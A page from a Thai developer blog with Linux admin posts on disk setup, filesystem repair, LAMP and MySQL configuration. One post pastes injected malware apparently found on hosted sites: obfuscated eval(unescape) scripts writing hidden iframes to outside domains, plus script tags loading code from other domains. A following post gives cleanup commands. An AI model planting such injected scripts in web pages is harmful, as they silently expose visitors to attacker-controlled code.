ก๊วนซอฟท์แวร์ </softganz> SoftGang (Gang Software)

Web &amp; Software Developer Gang.

618 items|« First « Prev 37 38 (39/62) 40 41 Next » Last »|
โดย Little Bear on 22 ก.ค. 54 21:46

นาน ๆ ถึงจะได้ทำสักที ขอนำมาเก็บไว้ก่อนก็แล้วกัน

  1. ทำการเพิ่ม HDD ถ้าระบบรองรับ hotswap ก็เสียบเข้าไปเลยไม่ต้อง shutdown แต่ถ้าไม่รองรับหรือไม่มี hdd bay แบบเสียบได้เลยก็คงต้องปิดเครื่องก่อนแหละ

  2. เมื่อเพิ่ม hdd เสร็จแล้ว ก็เปิดเครื่อง login เข้า root (ตอน boot อาจจะแวะเข้า bios ตรวจสอบว่าระบบมองเห็น hdd ที่เพิ่มเข้าไป)

  3. โดยปกติ hdd ที่เพิ่มเข้าไปก็จะเป็น sdb หรือ sdc สำหรับลูกที่ 2 และ 3 ตามลำดับ

  4. สร้าง partition ด้วยคำสั่ง fdisk

    root@god# fdisk /dev/sdb
    กด p ดู partition ที่มีอยู่ ปกติ hdd ใหม่จะไม่มี partition แต่บางตัวก็จะมี utility partition ขนาดเล็กๆอยู่ ถ้ามีก็ลบออก แล้วสร้าง partition ตามต้องการ

    • d ลบ partition
    • n สร้าง partition
    • t กำหนด type ของ partition เสร็จแล้วกด w เพื่อบันทึก และออกจากโปรแกรมด้วย q
  5. format partiton ที่สร้างขึ้นใหม่

    root@god# mke2fs -j /dev/sdb1
    หรือ
    root@god# mkfs -t ext3 /dev/sdb1

  6. mount partition เข้าระบบ

    root@god# mkdir /backup
    root@god# mount /dev/sdb1 /backup
    

  7. อาจจะกำหนด label ให้ partition ที่สร้างใหม่

    root@god# e2label /dev/sdb1 /backup

  8. เพิ่มเข้าไปใน /etc/fstab เพื่อให้ mount ทุกครั้งที่ boot เครื่อง

    /dev/sdb1 /backup ext3 defaults 1 2

    หรืออ้างตามชื่อ label
    LABEL=/backup /backup ext3 defaults 1 2

ที่มา ThaiHostTalk.com - จะเพิ่ม HD ลูกที่ 2 ใน CentOS ต้องทำอะไรบ้างครับ

โดย Little Bear on 18 ก.ค. 54 12:11

ใกล้จะถึงเวลา harddisk Western Digital WD500GB เจ๊งอย่างถาวรแล้ว วันนี้เปิดเครื่องกี่ครั้งก็ไม่ขึ้น เลยต้องหยิบเอา harddisk สำรองมาลง Ubuntu แล้วเข้าไป repair ด้วยคำสั่ง

e2fsck /dev/[partition]

ดู partition ให้ดี ๆ นะครับ ที่ผมใช้อยู่เป็น sdb1 คำสั่งที่ได้เลยเป็น e2fsck /dev/sdb1

เมื่อขึ้น repair ก็ตอบ Y จนกว่ากระบวนการจะเสร็จสิ้น แล้วก็ทำการสำรองข้อมูลสำคัญไปไว้ที่อื่นซะโดยเร็ว

ขั้นต่อไปก็คือหาตังส์ไปซื้อ harddisk ตัวใหม่มาใช้งานโดยด่วน พรุ่งนี้ไปเก็บตังส์ แล้วจะได้รีบไปซื้อก่อนเลย

รอบนี้ที่ harddisk พังน่าจะเกิดจากการสั่นสะเทือน ที่บ้านพื้นเป็นไม้ เวลาเดินจะตึง ๆ บางครั้งเด็กก็กระโดดเล่นตอนที่กำลังทำงาน harddisk ก็เลย bad sector เป็นการ bad ที่ partition / ส่วน /home ยังคงปกติดีอยู่ ถือว่าโชคดีมาก ๆ อนาคตจะทำบ้านพื้นปูนแล้ว ใครจะกระโดดอย่างไร ก็ไม่กลัวแล้ว

โดย Little Bear on 17 ก.ค. 54 15:43

โค๊ดเป็นตามนี้

<สคริปท์ >eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%65%64%76%62%2E%63%6F%6D%2F%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));< /สคริปท์> <สคริปท์>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%65%61%63%76%62%2E%63%6F%6D%2F%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));< /สคริปท์ >

และ

<สคริปท์ type="text/javascript" src="http://project-pc.it/jtoolsmini.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://witteveenreclame.nl/cssminibar.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://soorajmull.net/sidename.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://jigneshpatel.co.in/sidename.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://microstart.net/counter.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://9fox.biz/jtoolsmini.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://nicolaszuliani.com.ar/cssminibar.js"> < /สคริปท์> <สคริปท์ type="text/javascript" src="http://eugeniasilva.eu/sidename.js">< /สคริปท์>
<สคริปท์ type="text/javascript" src="http://pointgraphics.ie/counter.js">< /สคริปท์>

ยังไม่ได้ตามดูอย่างละเอียด

โดย Little Bear on 17 ก.ค. 54 15:16

เปลี่ยน permission ของโฟลเดอร์เป็น 711 และ ไฟล์เป็น 644

สำหรับเว็บไซท์ที่ใช้ suPHP ส่วน code บรรทัดแรกยังไม่รู้เหมือนกันว่าทำอะไร ส่วนบรรทัดสุดท้ายนั้นจะเปลี่ยน owner/group ให้เป็นของแต่ละคน ซึ่งอาจจะไม่จำเป็น

cd /usr/local/directadmin/scripts && ./set_permissions.sh user_homes
find /home/*/domains/*/public_html -type d -print0 | xargs -0 chmod 711
find /home/*/domains/*/public_html -type f -print0 | xargs -0 chmod 644
cd /usr/local/directadmin/data/users && for i in `ls`; do { chown -R $i:$i /home/$i/domains/*/public_html;}; done;

หาคำในไฟล์

ในที่นี้จะเป็นการหาคำว่า iframe แล้วบันทึกเก็บไว้ในไฟล์ iframe.txt

find /home/*/domains/*/public_html/ -maxdepth 100 -name *index* -exec grep -H "iframe" {} ";" > iframe.txt
โดย Little Bear on 22 มิ.ย. 54 23:10

เพิ่งไปซื้อเครื่องพิม์มาใหม่ ได้ Canon iP2700 มา เสียบปุ๊บ สั่ง add printer Ubuntu 11.04 64bit มองเห็นครับ แต่มีรุ่นให้เลือกแค่ iP2000 ลองเลือกดู ผลคือสั่งพิมพ์แล้วเงียบฉี่ ไม่มีอะไรออกมาเลย

เอาแล้วไง!!!!!

ลองค้นดู เจอคนมีปัญหากันเยอะเหมือนกัน (ทำไมก่อนซื้อถึงไม่เช็คดูก่อนนะ) ลองหาทางดู

(เอาแบบประมาณก่อนนะ เพราะหลังจากทำจนติดตั้งได้ เครื่องก็แฮ้งค์โอเวอร์ ไฟล์ที่ทำไว้ใน /tmp หายเกลี้ยง เลยต้องทำใหม่ จึงไม่แน่ใจว่าถูกต้องไหม)

โดย Little Bear on 21 มิ.ย. 54 12:33

ติดตั้ง Ubuntu Desktop ให้เป็น Server (LAMP)

ผ่านไป 2 ปี ก็ถึงเวลาต้องติดตั้ง Ubuntu ใหม่เสียที คราวนี้เลยถือโอกาสเปลี่ยนเป็น Ubuntu 11.04 64 bit ไปเลย ก็เลยลองมารีวิวการติดตั้ง LAMP บน Ubuntu ใหม่ว่ามีอะไรที่เปลี่ยนแปลงไปบ้าง

หมายเหตุ : การติดตั้งต่อไปนี้ใช้สิทธิ์ของ root ขอให้เข้าสู่สิทธิ์ของ root โดยการเปิด terminal แล้วพิมพ์ sudo su

Install L.A.M.P Stack (Apache, Mysql, PHP) ทีเดียวซะเลย

root@god:/# apt-get install lamp-server^

แล้วก็ลง phpMyAdmin

root@god:/# apt-get install phpmyadmin

เลือก Apache แล้ว YES สำหรับ dbconfig-common.

ติดตั้งเพิ่มเติม

php5-curl

root@god# apt-get install php5-curl

หรือชอบที่จะลงทีละตัว ก็

Install Apache

root@god:/# apt-get install apache2

Enable mod_rewrite

root@god:/# a2enmod rewrite

เปลี่ยน DocumentRoot ของ apache เป็น folder อื่น และเปิดใช้งาน clean url

root@god:/# nano /etc/apache2/sites-available/default
  • เปลี่ยนบรรทัด /var/www/ เป็น /my web folder/ จำนวน 2 ตำแหน่ง
  • แก้ค่า AllowOverride ของ /my web folder/ จาก None เป็น AllowOverride All

Install PHP

root@god:/# apt-get install php5 libapache2-mod-php5 php5-gd
root@god:/# /etc/init.d/apache2 restart

Install MySQL

root@god:/# apt-get install mysql-server libapache2-mod-auth-mysql php5-mysql phpmyadmin
root@god:/# /etc/init.d/apache2 restart

หากมีข้อมูลเก่าของ mysql ก็สามารถ copy มาไว้ที่ /var/lib/mysql แล้ว โดยใช้คำสั่ง

root@god:/# cp /media/disk/var/lib/mysql/* /var/lib/mysql/
root@god:/# chown -hR mysql /var/lib/mysql/*
root@god:/# chgrp -hR mysql /var/lib/mysql/*

ย้ายข้อมูล mysql ไปไว้ที่อื่น

root@god:/# /etc/init.d/mysql stop
root@god:/# mkdir /home/mysql
root@god:/# chown -R mysql:mysql /home/mysql
root@god:/# cp -r /var/lib/mysql/mysql /home/mysql/
root@god:/# chown -R mysql:mysql /home/mysql/*

แล้วแก้ my.cnf

root@god:/# nano /etc/mysql/my.cnf

หาคำนี้ให้เจอ :

datadir = /var/lib/mysql

แล้วเปลี่ยนเป็นตำแหน่งใหม่ :

datadir = /home/mysql

เสร็จแล้วก็ restart mysql service

root@god:/# /etc/init.d/mysql start
Starting MySQL database server mysqld [ OK ]

แล้ว mysql จะทำการสร้างไฟล์ ibdata1, ib_logfile0, อื่น ๆ ขึ้นมาใหม่

ทุกอย่างน่าจะเรียบร้อย แต่ผมไม่สามารถ start mysql ได้ มันค้างอยู่ เลยต้องไปแก้ค่าในไฟล์ /etc/apparmor.d/usr.sbin.mysqld โดยเปลี่ยนค่า /var/lib/mysql ให้เป็น /home/mysql ด้วย

แล้วคราวนี้ก็ทำการ copy ฐานข้อมูลเก่า ๆ มาได้เลย อย่าลืมเปลี่ยน owner/group เป็น mysql ด้วยนะ

ที่มา

#sudo apt-get install apache2 apache2-doc apache2-mpm-prefork apache2-utils libexpat1 ssl-cert
<a class="hashtag" href="/tags/sudo">#sudo</a> apt-get install libapache2-mod-php5 php5 php5-common php5-curl php5-dev php5-gd php5-idn php-pear php5-imagick php5-imap php5-json php5-mcrypt php5-memcache php5-mhash php5-ming php5-mysql php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl
โดย Little Bear on 19 มิ.ย. 54 19:42

เป็นเรื่องเลย เมื่อ boot Ubuntu ไม่ได้ ลองเปิดด้วย harddisk อีกตัว แล้ว mount ไม่ผ่าน มี error ด้านล่าง

Error mounting: mount: wrong fs type, bad option, bad superblock on /dev/sdb2,       missing codepage or helper program, or other error       In some cases useful info is found in syslog - try       dmesg | tail  or so

ดูเหมือนว่า filesystem มีปัญหาเสียแล้ว เลยตามหาดูว่ามีทางแก้อย่างไรบ้าง

ลองเช็ค filesystem ด้วยคำสั่ง

e2fsck -f /dev/sdb2

มี error block จึง Ignore error ไป แล้วลอง mount ใหม่

ได้โว้ย ดีใจจัง กำลังจะลอง boot อีกที ดูว่าเรียบร้อยไหม?

ช่วยกันภาวนานะครับ.......

Rebooting.......

ยัง boot ไม่ได้ แต่มองเห็น /home แล้ว คาดว่าข้อมูลคงอยู่ครบ

แล้วก็ลองเช็ค filesystem ของ / อีก คราวนี้ใช้เวลานานมาก ๆ แล้วจึงลอง reboot ดีขึ้น แต่ก็ยังไม่ได้ จึงตัดใจ ลงใหม่เลยดีกว่า หลังจากที่ลง Ubuntu ตัวนี้มา(คาดว่า)เกือบ 2 ปี คงถึงเวลา clean install เสียที

ที่มา Surviving a Linux Filesystem Failures

โดย Little Bear on 11 มิ.ย. 54 19:57

การทำปุ่ม Like สำหรับหน้า Fan Page หรือทำปุ่ม Like สำหรับหน้าเว็บแต่ละหน้า

618 items|« First « Prev 37 38 (39/62) 40 41 Next » Last »|